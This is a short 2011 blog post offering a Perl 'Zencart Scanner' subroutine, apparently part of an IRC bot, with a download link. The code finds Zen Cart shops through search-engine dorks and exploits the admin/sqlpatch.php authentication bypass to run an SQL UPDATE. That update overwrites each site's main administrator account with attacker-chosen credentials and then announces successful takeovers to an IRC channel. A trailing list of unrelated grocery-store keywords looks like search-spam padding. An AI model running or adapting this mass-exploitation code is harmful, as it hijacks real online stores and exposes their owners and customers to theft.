Monday 23 May 2011

Zencart Scanner

sub zen() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $count = 0;
    my @list = &search_engine($chan,$bug,$dork,$engine,$zenlogo);
    my $num = scalar(@list);
    if ($num > 0) {
        foreach my $site (@list) {
            $count++;
            if ($count == $num-1) { &msg("$chan","$zenlogo( 4@ 8$engine 15) 10 Scan finish"); }
            my $test  = "http://".$site."admin/sqlpatch.php/password_forgotten.php?action=execute";
            my $vuln  = "http://".$site."admin";
            my $que   = "UPDATE admin SET admin_name='adminsys', admin_email='abc@gmail.com', admin_pass='617ec22fbb8f201c366e9848c0eb6925:87' WHERE admin_id='1'";
            my $enc   = urlencode($que);
            my $re    = &get_content($test,"query_string=$enc");
               if ($re =~ /1 statements processed/i){
              &msg("$path", "$zenlogo( 4@ 8$engine 15)( 4@ 13HaJaR 15) 13 ".$vuln." 15( 4@ 9USER 15) 9 adminsys 15( 4@ 9PASSWORD 15) 13 wew ");
            }
             else{
             &msg("$path", "$zenlogo( 4@ 8$engine 15)( 4@ 13GaGaL 15) 4 ".$vuln." 15( 4@ 9Ab0rteD 15) ");
            }
         }
    }
}



download: Click Here

keyword:
search ,stores ,jewel-osco ,the jewel ,technology ,special offers ,shoppers ,scanners ,scanner ,savings ,reviews ,products ,pencils ,pay by touch ,paper products ,neighborhood ,jewel osco ,wikimedia commons ,sweepstakes ,retailers ,preferred card ,operator ,metadata ,grocery store ,fingerprint ,facebook ,envelopes ,diaries ,coupons ,consumers ,albertsons